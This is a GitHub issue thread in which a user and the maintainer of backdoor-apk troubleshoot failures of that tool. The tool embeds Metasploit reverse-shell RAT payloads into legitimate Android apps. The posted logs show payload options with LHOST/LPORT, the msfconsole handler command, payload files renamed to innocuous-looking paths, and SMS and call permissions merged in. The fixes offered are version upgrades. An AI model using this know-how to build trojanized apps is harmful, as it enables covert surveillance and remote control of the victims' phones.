Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Failed to decompile RAT APK file #71

Closed
Vancer opened this issue Jan 24, 2017 · 10 comments
Closed

Failed to decompile RAT APK file #71

Vancer opened this issue Jan 24, 2017 · 10 comments
Labels

Comments

@Vancer
Copy link

Vancer commented Jan 24, 2017

First of all I read the previous issue and i have the apk file in the same directory of the bash script.

Error:
meterpreter/reverse_http 4) shell/reverse_http
meterpreter/reverse_https 5) shell/reverse_https
meterpreter/reverse_tcp 6) shell/reverse_tcp
[?] Please select an Android payload option: 2
[?] Please enter an LHOST value: 192.168.1.7
[?] Please enter an LPORT value: 4433
[+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
[] Generating RAT APK file...done.
[] Decompiling RAT APK file...done.
[!] Failed to decompile RAT APK file

Thats weird, and the run.log file states the usage of ' apktool ', like it was misused or something in the script. Any help :) ?

@dana-at-cp
Copy link
Owner

@Vancer Can you share the run.log file?

@Vancer
Copy link
Author

Vancer commented Jan 24, 2017

Sure I can, there you go:
Ghostbin Paste

@dana-at-cp
Copy link
Owner

dana-at-cp commented Jan 24, 2017

@Vancer Ahh, alright. Looks like you are using Apktool 1.5.2 which is pretty old.

My up-to-date Kali VM is running Apktool 2.2.1:

root@kali:~# apktool -version
2.2.1-dirty
root@kali:~#

Upgrade to the latest Apktool version and you should be all set.

@Vancer
Copy link
Author

Vancer commented Jan 25, 2017

I'll try this ASAP and close the issue if it's fixed!

@Vancer
Copy link
Author

Vancer commented Jan 25, 2017

The decompiling worked but im facing a new error here is a dump:
[*] Running backdoor-apk.sh v0.1.9 on Tue Jan 24 15:04:10 EST 2017
[+] Android payload options:

  1. meterpreter/reverse_http 4) shell/reverse_http
  2. meterpreter/reverse_https 5) shell/reverse_https
  3. meterpreter/reverse_tcp 6) shell/reverse_tcp
    [?] Please select an Android payload option: 3
    [?] Please enter an LHOST value: 172.16.200.129
    [?] Please enter an LPORT value: 4444
    [+] Handle the payload via resource script: msfconsole -r backdoor-apk.rc
    [] Generating RAT APK file...done.
    [
    ] Decompiling RAT APK file...done.
    [] Decompiling original APK file...done.
    [
    ] Merging permissions of original and payload projects...done.
    [] Running proguard on RAT APK file...done.
    [
    ] Decompiling obfuscated RAT APK file...done.
    [] Creating new directories in original project for RAT smali files...done.
    [
    ] Copying RAT smali files to new directories in original project...done.
    [!] Failed to copy RAT smali files

Before reading the run.log note that it added the needed permissions such as SMS and CALL and INTERNET e.t.c, you get me if you wrote an android application, just clarifying this is not the whole dump, the full run.log dump is Here
This is the run.log:
Copying resources from program directory [/root/Downloads/backdoor-apk-master/backdoor-apk/bin/classes]
Copying resources from program directory [/root/Downloads/backdoor-apk-master/backdoor-apk/libs]
I: Using Apktool 2.2.2 on Rat.apk
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
payload_tld is: org
payload_primary_dir is: database1
payload_sub_dir is: pc30
mkdir: created directory ‘/root/Downloads/backdoor-apk-master/backdoor-apk/original/smali/org/database1’
mkdir: created directory ‘/root/Downloads/backdoor-apk-master/backdoor-apk/original/smali/org/database1/pc30’
‘/root/Downloads/backdoor-apk-master/backdoor-apk/payload/smali/com/metasploit/stage/MainBroadcastReceiver.smali’ -> ‘/root/Downloads/backdoor-apk-master/backdoor-apk/original/smali/org/database1/pc30/AppBoot.smali’
cp: cannot stat ‘/root/Downloads/backdoor-apk-master/backdoor-apk/payload/smali/com/metasploit/stage/MainService.smali’: No such file or directory
Forcing cleanup due to a failure or error state!

@dana-at-cp
Copy link
Owner

@Vancer I think your version of Metasploit framework is out of date. Can you update Metasploit and try again?

@dana-at-cp
Copy link
Owner

@Vancer Any update?

@Vancer
Copy link
Author

Vancer commented Feb 5, 2017

Metasploit messes up after an update, i really don't know what's going on. If you want I can close the issue and open a new one once i fix metasploit ? Really sorry for being late. Sorry again.
@dana-at-cp

@dana-at-cp
Copy link
Owner

@Vancer No problem. Open a new issue if needed.

@ghost
Copy link

ghost commented Jul 6, 2017

Hello have you tried using the backdoor-apk and have data the next error, [!] Failed to generate RAT APK file. I've already put the original APK in the backdoor-apk folder, backdoor-apk, and even then the error that I showed above, how can I fix this?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants